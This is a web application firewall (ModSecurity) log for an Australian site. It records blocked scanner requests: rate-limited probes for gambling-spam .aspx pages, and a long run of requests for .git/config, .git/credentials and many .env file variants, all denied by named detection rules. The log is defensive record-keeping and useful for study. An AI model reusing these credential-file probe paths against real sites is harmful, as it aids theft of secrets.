[Sun May 24 06:06:17.482498 2026] [:error] [pid 58918:tid 58922] [client 88.88.156.124:57860] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ahIk2aT5tvv40jh4HYYK_QAAAYI"]
[Sun May 24 06:06:19.919555 2026] [:error] [pid 58521:tid 58528] [client 88.88.156.124:57864] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ahIk22u03QVCX-cF2G_T_QAAAQU"]
[Sun May 24 06:06:22.511825 2026] [:error] [pid 58918:tid 58936] [client 88.88.156.124:57872] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ahIk3qT5tvv40jh4HYYK_wAAAZA"]
[Sun May 24 06:06:57.474577 2026] [:error] [pid 50872:tid 50929] [client 88.88.156.124:57886] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "ahIlAUbX_GQ5p_34ISZZEAAAAFA"]
[Sun May 24 06:06:59.842883 2026] [:error] [pid 58797:tid 58803] [client 88.88.156.124:54270] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "ahIlA_zoIKLVypLB5NgmiAAAAUM"]
[Sun May 24 06:07:02.462803 2026] [:error] [pid 58918:tid 58925] [client 88.88.156.124:54286] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "ahIlBqT5tvv40jh4HYYLPAAAAYU"]
[Sun May 24 09:16:09.436774 2026] [:error] [pid 49775:tid 49778] [client 49.51.39.209:54434] [client 49.51.39.209] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ahJRWYvZb8G6T8WpI1gFCwAAAAE"]
[Sun May 24 09:33:25.707344 2026] [:error] [pid 49688:tid 49701] [client 3.136.156.126:36430] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "ahJVZWYoQ9V6a_4pBshakwAAAEo"]
[Sun May 24 09:33:32.067284 2026] [:error] [pid 49775:tid 49797] [client 3.136.156.126:58376] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/credentials"] [unique_id "ahJVbIvZb8G6T8WpI1gRAAAAABQ"]
[Sun May 24 09:33:35.209958 2026] [:error] [pid 49775:tid 49779] [client 3.136.156.126:53366] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env"] [unique_id "ahJVb4vZb8G6T8WpI1gRBwAAAAI"]
[Sun May 24 09:33:36.401042 2026] [:error] [pid 49775:tid 49795] [client 3.136.156.126:53368] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.local"] [unique_id "ahJVcIvZb8G6T8WpI1gRDgAAABI"]
[Sun May 24 09:33:37.927693 2026] [:error] [pid 49689:tid 49738] [client 3.136.156.126:53374] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.production"] [unique_id "ahJVcQaxiY3NxLUD97UTDwAAAJQ"]
[Sun May 24 09:33:39.730607 2026] [:error] [pid 49689:tid 49742] [client 3.136.156.126:53376] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.staging"] [unique_id "ahJVcwaxiY3NxLUD97UTFAAAAJg"]
[Sun May 24 09:33:41.245415 2026] [:error] [pid 49689:tid 49733] [client 3.136.156.126:32974] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.development"] [unique_id "ahJVdQaxiY3NxLUD97UTGAAAAI8"]
[Sun May 24 09:33:43.643041 2026] [:error] [pid 49775:tid 49800] [client 3.136.156.126:32990] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.test"] [unique_id "ahJVd4vZb8G6T8WpI1gRHQAAABc"]
[Sun May 24 09:33:45.076552 2026] [:error] [pid 49688:tid 49702] [client 3.136.156.126:32996] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.remote"] [unique_id "ahJVeWYoQ9V6a_4pBshatQAAAEs"]
[Sun May 24 09:33:48.334821 2026] [:error] [pid 49744:tid 49753] [client 3.136.156.126:33002] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.bak"] [unique_id "ahJVfDsE5kPdFpUbbHFfgAAAAMc"]
[Sun May 24 09:33:49.689789 2026] [:error] [pid 49688:tid 49700] [client 3.136.156.126:33008] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.backup"] [unique_id "ahJVfWYoQ9V6a_4pBshavQAAAEk"]
[Sun May 24 09:33:51.554998 2026] [:error] [pid 49689:tid 49728] [client 3.136.156.126:45608] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.save"] [unique_id "ahJVfwaxiY3NxLUD97UTJgAAAIo"]
[Sun May 24 09:33:52.809202 2026] [:error] [pid 49688:tid 49704] [client 3.136.156.126:45612] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.old"] [unique_id "ahJVgGYoQ9V6a_4pBshawQAAAE0"]
[Sun May 24 09:33:54.795832 2026] [:error] [pid 49689:tid 49741] [client 3.136.156.126:45620] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.sample"] [unique_id "ahJVggaxiY3NxLUD97UTKwAAAJc"]
[Sun May 24 09:33:56.231552 2026] [:error] [pid 49744:tid 49748] [client 3.136.156.126:45632] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.example"] [unique_id "ahJVhDsE5kPdFpUbbHFfiQAAAMI"]
[Sun May 24 09:33:57.584175 2026] [:error] [pid 49775:tid 49798] [client 3.136.156.126:45642] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.dev"] [unique_id "ahJVhYvZb8G6T8WpI1gRSAAAABU"]
[Sun May 24 09:33:58.922782 2026] [:error] [pid 49775:tid 49777] [client 3.136.156.126:45654] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.prod"] [unique_id "ahJVhovZb8G6T8WpI1gRTAAAAAA"]
[Sun May 24 09:34:00.327514 2026] [:error] [pid 49775:tid 49781] [client 3.136.156.126:46148] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.stage"] [unique_id "ahJViIvZb8G6T8WpI1gRUAAAAAQ"]
[Sun May 24 09:34:01.557736 2026] [:error] [pid 49775:tid 49799] [client 3.136.156.126:46164] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.ci"] [unique_id "ahJViYvZb8G6T8WpI1gRVQAAABY"]
[Sun May 24 09:34:03.019391 2026] [:error] [pid 49688:tid 49699] [client 3.136.156.126:46166] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.docker"] [unique_id "ahJVi2YoQ9V6a_4pBshaxwAAAEg"]
[Sun May 24 09:34:04.296466 2026] [:error] [pid 49744:tid 49759] [client 3.136.156.126:46182] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.live"] [unique_id "ahJVjDsE5kPdFpUbbHFfqAAAAM0"]
[Sun May 24 09:34:05.679245 2026] [:error] [pid 49775:tid 49785] [client 3.136.156.126:46188] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.preprod"] [unique_id "ahJVjYvZb8G6T8WpI1gRZAAAAAg"]
[Sun May 24 09:34:07.518532 2026] [:error] [pid 49688:tid 49696] [client 3.136.156.126:46194] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.uat"] [unique_id "ahJVj2YoQ9V6a_4pBshazgAAAEU"]
[Sun May 24 09:34:09.301497 2026] [:error] [pid 49689:tid 49729] [client 3.136.156.126:46204] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.dist"] [unique_id "ahJVkQaxiY3NxLUD97UTNwAAAIs"]
[Sun May 24 09:34:11.043311 2026] [:error] [pid 49775:tid 49797] [client 3.136.156.126:55854] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.swp"] [unique_id "ahJVk4vZb8G6T8WpI1gRbQAAABQ"]
[Sun May 24 09:34:12.600577 2026] [:error] [pid 49775:tid 49788] [client 3.136.156.126:55860] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env~"] [unique_id "ahJVlIvZb8G6T8WpI1gRcAAAAAs"]
[Sun May 24 09:34:14.047375 2026] [:error] [pid 49689:tid 49739] [client 3.136.156.126:55868] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env1"] [unique_id "ahJVlgaxiY3NxLUD97UTOwAAAJU"]
[Sun May 24 09:34:15.606456 2026] [:error] [pid 49688:tid 49692] [client 3.136.156.126:55878] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env2"] [unique_id "ahJVl2YoQ9V6a_4pBsha4AAAAEE"]
[Sun May 24 09:34:17.229553 2026] [:error] [pid 49744:tid 49751] [client 3.136.156.126:55892] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env_copy"] [unique_id "ahJVmTsE5kPdFpUbbHFfuAAAAMU"]
[Sun May 24 09:34:18.674810 2026] [:error] [pid 49688:tid 49711] [client 3.136.156.126:55902] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.txt"] [unique_id "ahJVmmYoQ9V6a_4pBsha5gAAAFQ"]
[Sun May 24 09:34:20.880245 2026] [:error] [pid 49744:tid 49755] [client 3.136.156.126:51106] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.json"] [unique_id "ahJVnDsE5kPdFpUbbHFfxgAAAMk"]
[Sun May 24 09:34:22.291549 2026] [:error] [pid 49775:tid 49777] [client 3.136.156.126:51120] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.yaml"] [unique_id "ahJVnovZb8G6T8WpI1gReQAAAAA"]
[Sun May 24 09:34:24.091474 2026] [:error] [pid 49688:tid 49693] [client 3.136.156.126:51122] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.yml"] [unique_id "ahJVoGYoQ9V6a_4pBsha7QAAAEI"]
[Sun May 24 09:34:26.721747 2026] [:error] [pid 49688:tid 49711] [client 3.136.156.126:51132] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/app/.env"] [unique_id "ahJVomYoQ9V6a_4pBsha8gAAAFQ"]
[Sun May 24 09:34:27.815632 2026] [:error] [pid 49744:tid 49765] [client 3.136.156.126:51134] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/apps/.env"] [unique_id "ahJVozsE5kPdFpUbbHFf2AAAANM"]
[Sun May 24 09:34:29.010976 2026] [:error] [pid 49775:tid 49778] [client 3.136.156.126:51140] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/api/.env"] [unique_id "ahJVpYvZb8G6T8WpI1gRhwAAAAE"]
[Sun May 24 09:34:30.218227 2026] [:error] [pid 49689:tid 49735] [client 3.136.156.126:34588] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/web/.env"] [unique_id "ahJVpgaxiY3NxLUD97UTVQAAAJE"]
[Sun May 24 09:34:32.033387 2026] [:error] [pid 49744:tid 49755] [client 3.136.156.126:34602] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/site/.env"] [unique_id "ahJVqDsE5kPdFpUbbHFf4AAAAMk"]
[Sun May 24 09:34:33.360850 2026] [:error] [pid 49744:tid 49752] [client 3.136.156.126:34612] [client 3.136.156.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/public/.env"] [unique_id "ahJVqTsE5kPdFpUbbHFf5AAAAMY"]
[Sun May 24 10:03:20.594836 2026] [:error] [pid 49744:tid 49767] [client 81.167.26.57:20251] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ahJcaDsE5kPdFpUbbHFr4wAAANU"]
[Sun May 24 10:03:23.216712 2026] [:error] [pid 49744:tid 49760] [client 81.167.26.57:45640] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ahJcazsE5kPdFpUbbHFr5gAAAM4"]
[Sun May 24 10:03:25.805013 2026] [:error] [pid 49744:tid 49748] [client 81.167.26.57:64747] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ahJcbTsE5kPdFpUbbHFr7AAAAMI"]
[Sun May 24 10:03:28.418566 2026] [:error] [pid 49775:tid 49797] [client 81.167.26.57:34029] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ahJccIvZb8G6T8WpI1gkrgAAABQ"]
[Sun May 24 10:03:31.060454 2026] [:error] [pid 2639:tid 2642] [client 81.167.26.57:23987] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ahJcc0zQncQTd0Z0Oe_U-gAAAQE"]
[Sun May 24 10:03:33.683662 2026] [:error] [pid 49744:tid 49748] [client 81.167.26.57:21222] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "ahJcdTsE5kPdFpUbbHFr8gAAAMI"]
[Sun May 24 10:03:36.263461 2026] [:error] [pid 49744:tid 49768] [client 81.167.26.57:9664] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "ahJceDsE5kPdFpUbbHFr9QAAANY"]
[Sun May 24 10:03:38.900664 2026] [:error] [pid 49744:tid 49765] [client 81.167.26.57:7927] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ahJcejsE5kPdFpUbbHFr9gAAANM"]
[Sun May 24 10:03:41.478488 2026] [:error] [pid 2639:tid 2651] [client 81.167.26.57:50803] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ahJcfUzQncQTd0Z0Oe_VWgAAAQo"]
[Sun May 24 10:03:44.096440 2026] [:error] [pid 2639:tid 2659] [client 81.167.26.57:11720] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ahJcgEzQncQTd0Z0Oe_VfwAAARI"]
